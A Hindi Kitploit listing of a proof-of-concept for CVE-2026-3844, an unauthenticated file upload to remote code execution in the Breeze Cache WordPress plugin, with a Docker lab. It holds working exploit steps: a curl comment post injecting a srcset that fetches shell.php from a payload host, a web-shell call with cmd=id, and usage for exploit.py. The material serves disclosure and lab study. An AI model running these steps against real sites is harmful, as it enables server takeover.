Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/dinosn/cve-2026-3844
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubdinosn/cve-2026-3844

CVE-2026-3844

# CVE-2026-3844 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट Breeze Cache <= 2.4.4 में एक अनप्रमाणित (unauthenticated) मनमाना फ़ाइल अपलोड, जो रिमोट कोड एक्ज़ीक्यूशन (remote code execution) की ओर ले जाता है। इसमें Docker लैब और स्वचालित एक्सप्लॉइट स्क्रिप्ट शामिल है।

रिपॉजिटरी देखें
5165 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-3844 — Breeze Cache <= 2.4.4 बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड से RCE

अवलोकन

फ़ील्डमान
CVECVE-2026-3844
CVSS9.8 क्रिटिकल (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-434 — खतरनाक प्रकार की फ़ाइल का अप्रतिबंधित अपलोड
प्लगइनBreeze Cache by Cloudways
प्रभावित2.4.4 तक के सभी संस्करण
ठीक किया गया2.4.5 (changeset 3511463)
इंस्टॉल400,000+ सक्रिय WordPress इंस्टॉलेशन
खोजकर्ताHung Nguyen (bashu)
प्रकटीकरण2026-04-23

भेद्यता

inc/class-breeze-cache-cronjobs.php में fetch_gravatar_from_remote() फ़ंक्शन दूरस्थ URL डाउनलोड करता है और उन्हें URL से मूल फ़ाइलनाम और एक्सटेंशन का उपयोग करके वेब-सुलभ निर्देशिका में सहेजता है। कोई MIME प्रकार सत्यापन नहीं, कोई एक्सटेंशन व्हाइटलिस्ट नहीं, और कोई सामग्री निरीक्षण नहीं है।

जब "Host Files Locally - Gravatars" सेटिंग सक्षम होती है, तो प्लगइन breeze_replace_gravatar_image() के माध्यम से WordPress के get_avatar फ़िल्टर से जुड़ता है। यह फ़ंक्शन अवतार HTML में srcset और src विशेषताओं से URL निकालने के लिए regex का उपयोग करता है। एक हमलावर एक दुर्भावनापूर्ण srcset विशेषता इंजेक्ट कर सकता है, जिससे प्लगइन एक मनमाना PHP फ़ाइल डाउनलोड और कैश कर सकता है।

भेद्य कोड

Vulnerable code in fetch_gravatar_from_remote()

क्या गायब है:

  • डाउनलोड की गई सामग्री एक छवि है या नहीं, इसकी कोई जाँच नहीं (MIME सत्यापन)
  • फ़ाइल एक्सटेंशन पर कोई प्रतिबंध नहीं (.php, .phtml, .phar सभी स्वीकार्य)
  • HTTP प्रतिक्रिया का कोई content-type निरीक्षण नहीं
  • गंतव्य निर्देशिका वेब-सुलभ है और PHP निष्पादन की अनुमति देती है

हमले का प्रवाह

Attacker                          WordPress + Breeze 2.4.4
   |                                        |
   |  1. POST /wp-comments-post.php         |
   |     author=x srcset=http://evil/s.php  |
   |  ------------------------------------> |
   |                                        |  Comment saved
   |                                        |
   |  2. GET /?p=1                          |
   |  ------------------------------------> |
   |                                        |  get_avatar filter fires
   |                                        |  breeze_replace_gravatar_image()
   |                                        |    extracts srcset URL via regex
   |                                        |    calls fetch_gravatar_from_remote()
   |                                        |
   |            3. download_url()           |
   |            http://evil/s.php           |
   |         <----------------------------- |
   |         PHP file content               |
   |         -----------------------------> |
   |                                        |  Saved to:
   |                                        |  wp-content/cache/breeze-extra/
   |                                        |    gravatars/s.php
   |                                        |
   |  4. GET /wp-content/cache/breeze-extra |
   |         /gravatars/s.php?cmd=id        |
   |  ------------------------------------> |
   |                                        |  PHP executes as www-data
   |         uid=33(www-data)               |
   |  <------------------------------------ |

पूर्व शर्तें

  1. Breeze प्लगइन संस्करण <= 2.4.4 स्थापित और सक्रिय होना चाहिए
  2. "Host Files Locally - Gravatars" सक्षम होना चाहिए (डिफ़ॉल्ट रूप से बंद, Settings > Breeze > Advanced में)
  3. कम से कम एक पोस्ट पर WordPress टिप्पणियाँ खुली होनी चाहिए
  4. हमलावर का पेलोड सर्वर WordPress सर्वर से पहुंच योग्य होना चाहिए

Docker Lab सेटअप

इस PoC में एक स्व-निहित Docker वातावरण शामिल है:

  • WordPress 6.5 + Breeze 2.4.4 (भेद्य, gravatar होस्टिंग सक्षम के साथ)
  • MariaDB 10.11
  • PoC पेलोड होस्ट करने वाला एक Python HTTP सर्वर

आवश्यक शर्तें

  • Docker और Docker Compose
  • Python 3.8+ with requests (pip install requests)

1. Lab शुरू करें

cd docker/
docker compose up -d --build

WordPress को प्रारंभ करने के लिए ~30 सेकंड प्रतीक्षा करें। सत्यापित करें:

curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# Expected: Stable tag: 2.4.4

2. पूर्व शर्तें सत्यापित करें

Breeze version 2.4.4 confirmed

Comments open, gravatar hosting enabled

Docker सेटअप स्वचालित रूप से:

  • "Host Files Locally - Gravatars" सक्षम करता है (breeze-store-gravatars-locally: 1)
  • पोस्ट पर टिप्पणियाँ खोलता है
  • टिप्पणी मॉडरेशन अक्षम करता है (तत्काल शोषण के लिए)

शोषण

मैन्युअल चरण

चरण 1 — दुर्भावनापूर्ण टिप्पणी पोस्ट करें

curl -X POST "http://localhost:8088/wp-comments-post.php" \
    -d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"

PAYLOAD_IP को पेलोड कंटेनर के IP से बदलें:

docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
    $(docker compose -f docker/docker-compose.yml ps -q payload)

अपेक्षित प्रतिक्रिया: पोस्ट पेज पर HTTP 302 रीडायरेक्ट।

Malicious comment POST

चरण 2 — अवतार रेंडरिंग ट्रिगर करें

टिप्पणी का अवतार रेंडर करने के लिए पोस्ट पेज पर जाएँ, जो Breeze get_avatar फ़िल्टर को सक्रिय करता है और पेलोड डाउनलोड करता है:

curl -s "http://localhost:8088/?p=1" > /dev/null

रेंडर किया गया HTML दिखाता है कि Breeze ने इंजेक्ट किए गए srcset को निकाला और पेलोड को कैश किया:

Avatar rendering triggers payload fetch

चरण 3 — डिस्क पर फ़ाइल सत्यापित करें

PHP पेलोड शब्दशः लिखा जाता है, जिसका स्वामी www-data है:

shell.php on disk owned by www-data

चरण 4 — RCE की पुष्टि करें

RCE confirmed — id, whoami, uname, /etc/passwd

स्वचालित शोषण स्क्रिप्ट

cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php

Automated exploit script output

स्क्रिप्ट विकल्प

usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
                  [--timeout TIMEOUT] [--wait WAIT] [--check-only]

  -t, --target      WordPress target URL (required)
  -p, --payload     URL of the PHP payload to upload
  --post-id         Specific post ID to comment on
  --timeout         HTTP timeout in seconds (default: 15)
  --wait            Seconds to wait for cron (default: 12)
  --check-only      Only check plugin version, don't exploit

टियरडाउन

cd docker/
docker compose down -v --remove-orphans

उपचार

टूल डाउनलोड करें